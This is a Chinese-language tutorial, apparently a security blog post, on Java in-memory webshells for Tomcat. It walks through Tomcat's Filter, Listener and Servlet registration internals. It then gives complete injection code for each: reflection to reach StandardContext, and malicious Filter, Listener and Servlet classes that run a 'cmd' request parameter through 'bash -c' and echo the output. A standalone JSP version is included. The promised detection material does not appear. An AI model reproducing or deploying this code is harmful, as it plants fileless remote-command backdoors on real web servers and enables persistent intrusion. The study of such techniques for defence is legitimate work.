Java 内存马
前置内容
什么是内存马?顾名思义,是加载在内存里的Shell。现如今各种情况错综复杂。落地文件成了比较困难的部分。所以不落地 拿Shell成了更重要的部分,而内存马应运而生
本文以Tomcat和SpringBoot为例,讲解其内存马原理、构造、检测方式
Filter
前置知识
这个方法在Tomcat中才有
顾名思义,过滤器
他在整个处理流程中的流程图是这样的
原理显而易见,所以这里不展开了。
而利用方式讲起来也很容易,在Filter
过滤器中插入我们的恶意代码以达到注入Shell的目的。
先来熟悉一下Filter
我们可以新建一个Java Enterprise
项目来添加一个Filter
用IDEA可以很方便的创建一个Filter
package com.example.memory_shell;
import javax.servlet.*;
import javax.servlet.annotation.*;
import java.io.IOException;
@WebFilter(filterName = "Filt")
public class Filt implements Filter {
public void init(FilterConfig config) throws ServletException {
/*初始化方法 接收一个FilterConfig类型的参数 该参数是对Filter的一些配置*/
}
public void destroy() {
/*销毁时调用*/
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
/*过滤方法 主要是对request和response进行一些处理,然后交给下一个过滤器或Servlet处理*/
chain.doFilter(request, response);
}
}
可以快速查看javax.servlet.annotation.WebFilter
来查找可配置的属性
常用配置项
urlPatterns
配置要拦截的资源
以指定资源匹配。例如"/index.jsp"
以目录匹配。例如"/servlet/"
以后缀名匹配,例如".jsp"
通配符,拦截所有web资源。"/*"
initParams
配置初始化参数,跟Servlet配置一样
例如
initParams = {
@WebInitParam(name = "key",value = "value")
}
dispatcherTypes
配置拦截的类型,可配置多个。默认为DispatcherType.REQUEST
其中DispatcherType
是个枚举类型,有下面几个值
FORWARD,//转发的
INCLUDE,//包含在页面的
REQUEST,//请求的
ASYNC,//异步的
ERROR;//出错的
然后我们具体来跟踪一下Filter
是如何构建完成的,方便更好的理解内存马的注入过程
根据名称,以及对其功能定义,使用Idea
全局搜索,很容易定位到org.apache.catalina.core.StandardWrapperValve#invoke
按F7单步调试,可以定位到org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
首先调用 getParent
获取当前 Context
(即当前 Web应用
然后会从 Context
中获取到 filterMaps
可以明显注入到FilterMap[filterName=CharsetFilter, urlPattern=/*]
这里记录了Filter
名称和匹配的urlPattern
继续往下跟进
可以注意到这里是循环遍历 FilterMap,如果发现符合当前请求 url 写的Filter
,就会调用 findFilterConfig
方法在 filterConfigs 中寻找对应 filterName
的 FilterConfig
如果不为null,将 filterConfig
添加到 filterChain
中
addFilter
函数
一个简单的遍历重复去重
之后继续单步调试 会到doFilter
方法中,顾名思义,这里是执行Filter
的地方
跟进后会调用internalDoFilter
阅读源码,不难理解在try
方法中取出Filter
,然后调用相应Filter
中的doFilter
方法
最后就会进入我们写的Filter
方法中
流程比较清晰了 也不难说
就是先获取FilterMaps
然后遍历匹配urlPatterns
是否符合当前访问的路径,之后给 filterConfig
赋值。添加到filterChain
中调用doFilte
方法。最终调用到我们设置的doFilter
方法
filterConfig、filterMaps、filterDefs
我们还需要了解一下这三个的区别
通过yzddmr6
师傅的文章
https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w
可以知道的是
filterDefs
存放了filter的定义,比如名称跟对应的类
filterConfigs
除了存放了filterDef还保存了当时的Context
FilterMaps
则对应了web.xml中配置的<filter-mapping>
,里面代表了各个filter之间的调用顺序
补充知识
在Filter
构建过程中,我这里使用的是
@WebFilter(filterName = "CharsetFilter",
urlPatterns = "/*",/*通配符(*)表示对所有的web资源进行拦截*/
initParams = {
@WebInitParam(name = "charset", value = "utf-8")/*这里可以放一些初始化的参数*/
})
也就是直接在对应的Filter定义,这和web.xml中的写法其实是一样的,webxml里面是这样写的
<filter>
<filter-name>Memory_Shell</filter-name>
<filter-class>com.example.memory_shell.Filtertest</filter-class>
</filter>
<filter-mapping>
<filter-name>Memory_Shell</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
有了上面的知识原理,详细对内存马的创建有了一定的想法,最核心的想法应该是恶意的doFilter
实现
我们再来看看刚开始的部分org.apache.catalina.core.ApplicationFilterFactory
从context中获取到的Filter,那么我们如何获取这个context 呢?
查看一下StandardContext
源码,有几个重要函数
- StandardContext.addFilterDef()可以修改filterRefs
- StandardContext.filterStart()函数会根据filterDef重新生成filterConfigs
然后根据经验,如果无法直接获取,就要使用反射了。说实话这里理解了有一段时间。网上的文章似乎写的没有那么清晰,又或者是我太菜了
这里这样写
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = req.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
什么意思呢?
相信这样就可以看明白了
当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context
通过Java反射获取servletContext所属的类(ServletContext实际上是ApplicationContextFacade对象),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.ApplicationContext),因为是private类型,所以使用setAccessible取消对权限的检查,实现对私有的访问
通过Java反射获取applicationContext所属的类(org.apache.catalina.core.ApplicationContext),使用getDeclaredField根据指定名称context获取类的属性(private final org.apache.catalina.core.StandardContext),因为是private类型,使用setAccessible取消对权限的检查,实现对私有的访问
现在我们有了standardContext
一切就简单起来了。当然,为了在实战中利用,我们还需要检测当前设置的Filter_name是否存在
之前的分析可知,filterConfig是存放信息的地方,我们依旧反射获取
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
filterConfigs.get(FilterName)
相信这一段已经不需要解释了,当检测到不存在的时候,我们就可以注入恶意的 FIlter了
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
完成了这些,我们就需要一个filterDefs
来存放我们的恶意filter了
方法也很简单
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (org.apache.tomcat.util.descriptor.web.FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(o);
或者这样写也可以
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
之后我们还需要设置FIlterMaps
来定义恶意filter触发的地方等信息
也很简单new一个出来加参数就行
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
或者
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
// 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
最后就是添加进FilterConfig
了
//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
resp.getWriter().write("Success");
现在是没有的,当我们访问相应路由触发注入
需要注意的是,这里会在Tomcat存在记录日志的情况
如下
能去除吗?
当然可以
我查了一圈,好像没人公开,那我也就不写了
放一张截图
顺便,等介绍完成所有类型,会新开文章讲一下其对于反序列化的相关利用
Listener
前置知识
Tomcat对于加载优先级是 listener -> filter -> servlet
显然 其优先级比上文提到的Filter
要高,听名字也能猜出来是个监听器
Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:
-
ServletContext,服务器启动和终止时触发
-
Session,有关Session操作时触发
-
Request,访问服务时触发
其中前两种都不适合作为内存Webshell,看触发方式就知道了。
通过全局查找,可以关注到ServletRequestListener
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package javax.servlet;
import java.util.EventListener;
public interface ServletRequestListener extends EventListener {
default void requestDestroyed(ServletRequestEvent sre) {
}
default void requestInitialized(ServletRequestEvent sre) {
}
}
ServletRequestListener用于监听ServletRequest的生成和销毁,也就是当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package javax.servlet;
import java.util.EventObject;
public class ServletRequestEvent extends EventObject {
private static final long serialVersionUID = -7467864054698729101L;
private final transient ServletRequest request;
public ServletRequestEvent(ServletContext sc, ServletRequest request) {
super(sc);
this.request = request;
}
public ServletRequest getServletRequest() {
return this.request;
}
public ServletContext getServletContext() {
return (ServletContext)super.getSource();
}
}
通过getServletRequest()函数就可以拿到本次请求的request对象,从而加入我们的恶意逻辑
javax.servlet.ServletContext#addListener(String var1)
查看此函数调用
跟进org.apache.catalina.core.ApplicationContext#addListener(java.lang.String)
,发现调用了同类中的重载方法
继续跟进
这里首先判断Tomcat状态是否正常,如果不正常直接抛出异常,正常继续执行,并且调用this.context.addApplicationEventListener(t);
所以我们只需要反射调用addApplicationEventListener
方法即可
- 创建恶意Listener
- 将其添加到ApplicationEventListener中去
Listener的添加步骤要比Filter简单的多
实现
我们来试着写写最基础的demo
package com.example.memory_shell;
import org.apache.catalina.connector.Request;
import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
import java.lang.reflect.Field;
@WebListener
public class Listenertest implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
String cmd = sre.getServletRequest().getParameter("cmd");
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (cmd != null) {
try {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash", "-c", cmd).start();
int len = process.getInputStream().read(bytes);
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
request.getResponse().getWriter().write(new String(bytes, 0, len));
return;
}catch (IOException | IllegalAccessException e) {
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
}
}
}
这样就完成了最基础的利用,我们来看看怎么注入
通过前文的分析,我们直接通过反射拿到ApplicationEventListener即可
让我们来试试
先新建一个Listener
ServletRequestListener ServletRequestListener = new ServletRequestListener(){
public void requestInitialized(ServletRequestEvent sre) {
String cmd = sre.getServletRequest().getParameter("cmd");
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (cmd != null) {
try {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash", "-c", cmd).start();
int len = process.getInputStream().read(bytes);
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
request.getResponse().getWriter().write(new String(bytes, 0, len));
return;
}catch (IOException | IllegalAccessException e) {
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
}
}
};
然后通过反射拿到StandardContext#addApplicationEventListener
try {
Field reqF = req.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request reqe = (Request) reqF.get(req);
StandardContext context = (StandardContext) reqe.getContext();
context.addApplicationEventListener(ServletRequestListener);
resp.getWriter().write("Success");
} catch (Exception e) {
}
访问就可以了,相对起来简单的多
Jsp写法
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%!
public class MyListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
String cmd = sre.getServletRequest().getParameter("cmd");
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (cmd != null) {
try {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash", "-c", cmd).start();
int len = process.getInputStream().read(bytes);
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
request.getResponse().getWriter().write(new String(bytes, 0, len));
return;
}catch (Exception e) {
}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>
Serlvet
前置知识
在使用Idea新建一个tomcat项目时,会自动给我们分配一个demo
Servlet主要作用是处理URL请求。(接受请求、处理请求、响应请求)
而我们要实现的目的就是注入这么一个Servlet来处理我们的恶意请求
我们先来看一下Servlet的装载过程
在org.apache.catalina.core.StandardContext#startInternal()
protected synchronized void startInternal() throws LifecycleException {
......
if(ok && !this.listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
if(ok) {
this.checkConstraintsForUncoveredMethods(this.findConstraints());
}
try {
Manager manager = this.getManager();
if(manager instanceof Lifecycle) {
((Lifecycle)manager).start();
}
} catch (Exception var18) {
log.error(sm.getString("standardContext.managerFail"), var18);
ok = false;
}
if(ok && !this.filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
if(ok && !this.loadOnStartup(this.findChildren())) {
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
super.threadStart();
......
这也正好介绍了listener -> filter -> servlet
的优先级顺序
前面已经完成了将所有 servlet 添加到 context 的 children 中,this.findChildren()即把所有Wapper(负责管理Servlet)传入loadOnStartup()中处理,可想而知loadOnStartup()就是负责动态添加Servlet的一个函数
之后循环获取然后依次加载
我们具体来看一下Servlet的加载过程
在org.apache.catalina.startup.ContextConfig#configureContext
中
主要涉及了四个方法
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
最后
然后通过context.addServletMappingDecoded()将url路径和servlet类做映射。跟进到addServletMappingDecoded()方法的StandardContext类中,发现addServletMappingDecoded()和addServletMapping()是一样的,只不过后者是不建议使用(某些低版本的Tomcat可以尝试使用)
实现
-
创建恶意Servlet
-
用Wrapper对其进行封装
-
添加封装后的恶意Wrapper到StandardContext的children当中
-
添加ServletMapping将访问的URL和Servlet进行绑定
首先新建一个Servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (cmd != null) {
try {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash", "-c", cmd).start();
int len = process.getInputStream().read(bytes);
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request) requestF.get(req);
request.getResponse().getWriter().write(new String(bytes, 0, len));
return;
} catch (Exception e) {
}
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
反射拿Context
Field reqF = req.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req1 = (Request) reqF.get(req);
StandardContext stdcontext = (StandardContext) req1.getContext();
然后获取Wrapper对象,
Wrapper newWrapper = stdcontext.createWrapper();
String name = servlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
newWrapper.setServletClass(servlet.getClass().getName());
最后设置请求的url
// url绑定
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/ha1c9on", name);